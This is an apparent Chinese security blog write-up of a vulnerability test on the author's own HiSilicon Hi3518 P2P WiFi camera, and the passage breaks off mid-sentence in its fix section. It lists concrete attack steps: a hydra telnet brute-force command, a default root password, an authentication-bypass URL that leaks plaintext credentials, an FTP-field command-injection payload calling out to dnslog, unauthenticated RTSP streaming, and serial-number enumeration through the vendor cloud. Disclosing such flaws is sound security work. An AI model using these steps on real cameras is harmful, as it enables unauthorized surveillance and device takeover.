家用WIFI网络摄像头(P2P)安全吗?记一次海思Hi3518方案摄像头的测试
作者:中国移动云能力中心 ——严金华
概要:海思Hi3518方案摄像头存在多个高危漏洞,此产品较老,目前网络上只有少量此类摄像头存在
0x00背景15年左右在淘宝买了一个无线网络摄像头,搬家之后一直放在杂物堆里,最近重新上电装在客厅准备监控一下入户门,连接摄像头需要IP和管理密码,时间太长密码早就不记得了。于是拿出Goby扫一下局域网,找一下IP地址,并且顺便做个简单的测试。Goby扫描结果显示 开启了 两个端口:
23端口,telnet服务
81端口,Web服务,摄像头的管理界面,需要HTTP验证,密码应该设置过,现在忘了
0x01 Telnet爆破直接hydra爆破一下 telnet服务
hydra 192.168.1.147 telnet -l root -P p.txt -t 32 -s 23 -e ns -f -V
好家伙,密码123456成功登录,登陆之后随便找找,/tmp/web下有一些配置文件
/tmp/web # ls -la *inilrwxrwxrwx 1 root 0 25 Oct 27 02:11 factory.ini -> /system/param/factory.inilrwxrwxrwx 1 root 0 30 Oct 27 02:11 factoryparam.ini -> /system/param/factoryparam.inilrwxrwxrwx 1 root 0 23 Oct 27 02:11 network-b.ini -> /system/www/network.inilrwxrwxrwx 1 root 0 23 Oct 27 02:11 network.ini -> /system/www/network.inilrwxrwxrwx 1 root 0 22 Oct 27 02:11 system-b.ini -> /system/www/system.inilrwxrwxrwx 1 root 0 22 Oct 27 02:11 system.ini -> /system/www/system.ini/tmp/web #system.ini里面就明文存了Web登录密码等信息,如下图账号admin,密码zheshimima,用这个账号密码登录web页面就可以看到监控视频了
00000680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00000690: 61 64 6D 69 6E 00 00 00 00 00 00 00 00 00 00 00 admin...........000006a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................000006b0: 6F 70 65 6E 31 34 32 38 35 37 00 00 00 00 00 00 zheshimima......000006c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................000006d0: 03 01 0F 19 80 00 00 00 00 00 00 06 00 03 00 00 ................000006e0: 00 80 7E 7E 76 01 00 00 01 14 1F 00 00 00 00 00 ..~~v...........000006f0: 01 01 01 00 FF FF FF FF FF FF FF FF FF FF FF FF ................00000700: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................00000710: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................00000720: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................00000730: FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF ................00000740: FF FF FF FF FF FF FF FF B9 03 CE 00 14 01 00 00 ........9.N.....00000750: 6E 00 A2 04 14 01 00 00 00 00 00 00 00 00 00 00 n.".............00000760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00000770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................顺便看看 /etc/passwd
root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/shLSiuY7pOmZG2s是一个已知的弱口令hash,明文就是123456
0x02 Web端测试这时候已经通过telnet掌握了这台摄像头的控制权了,但是如果telnet服务没开或者不是弱密码是否还有别的方法可以突破呢?继续挖掘下
浏览81端口web服务,这个设备支持两种验证模式
HTTP 验证,就是401验证url后面加账号密码验证 (?loginuse=LOGIN&loginpas=PASS)因为没有做密码重试次数的限制,也没有验证码,这两种方式都可以用Burp爆破
爆破不出来怎么办?继续往下看
无授权访问syetem.ini漏洞正常访问下面的路径都提示需要账号密码
http://192.168.1.147:81/get_params.cgihttp://192.168.1.147:81/system.ini?但是这里存在一个绕过。访问system.ini的时候 loginuse和loginpas传空j居然直接就把system.ini下载下来了
http://192.168.1.107:81/system.ini?loginuse&loginpas下载到system.ini里面保存了明文的登录密码
远程命令执行漏洞登录页面之后有一个功能是设置FTP服务器,摄像头可以定时把视频,照片上传到指定的FTP服务器上,可以填写一个IP或者域名,比如填写 `x.com, 设备就会去执行ftp x.com,这里存在一个命令执行漏洞
填写x.com; ping xxxxxxxx.dnslog.cn 可以在dnslog上看到回显
说明我们的命令执行了,此处可以开启telnet(假设telnetd关闭了)、修改root密码
未授权串流漏洞也不需要不需要登录,直接用vlc打开 rtsp的串流地址就可以看到实时监控画面了
vlc rtsp://192.168.1.147:10554/tcp/av0_1
0x03 客户端测试这个摄像头支持手机IOS,Android,PC客户端,和Web页面访问方式连接。其中Web端的攻击上文已经介绍过了,下面研究下客户端。
客户端连接方式客户端可以在公网环境下访问到处于局域网内的监控,原理是通过一个中心服务器建立UDP隧道,原理和Zerotier是相似的。Zerotier的原理下次有机会讲。这个中心服务器由摄像头厂商提供,所以如果服务器挂了,客户端就无法工作了。客户端工作方式如图
使用一个唯一的序列号来区分摄像头,举例 “123456-ABCDE”,客户端首先请求服务器查询,123456-ABCDE的IP地址是多少,服务器会返回一个内网IP和一个公网IP出来,客户端在公网,会尝试访问摄像头的公网IP,一般情况下肯定连不上。然后服务端就和摄像头沟通,有个客户端想连你,但是连不上,建立一个udp隧道吧。
UDP隧道UDP隧道的模型如下,其中cloud server在极端情况下会做中继转发客户端和摄像头之间的包;一般情况下服务器只是帮助客户端和摄像头之间建立udp隧道,客户端和摄像头之间通信可以在udp隧道下面实现P2P直连,这也是此类摄像头被叫做P2P的原因,这样直连正常情况下是可以跑满带宽的
[Android Application] Cloud server [Camera]然后客户端使用udp隧道给摄像头发送HTTP请求,进行登录的验证
GET check_user.cgi?&loginuse=admin&loginpas=admin&user=admin&pwd=admin&验证通过之后客户端就可以请求获取摄像的配置,看到监控画面,并且可以控制云台等
攻击方法分析了之后,要知道攻击方法就非常简单了,只要访问厂商云服务器,提交某个序列号,服务就会返回摄像头的IP,然后就可以建立UDP连接,由于厂商服务器不保存摄像头的登录方式,所以不会在这个阶段之前进行校验摄像头密码,建立隧道之后可以爆破服务器密码,或者通过无授权访问system.ini获得账号密码。然后就不用再多说了吧。可以通过遍历序列号访问到任何一台摄像头(摄像头无需公网映射)
0x04 修复方案这个方案摄像头毫无安全性可言,奉劝大家不要用了。如果实在想用,可以先把厂商服务器域名屏蔽了,禁止和厂商服务器建立任何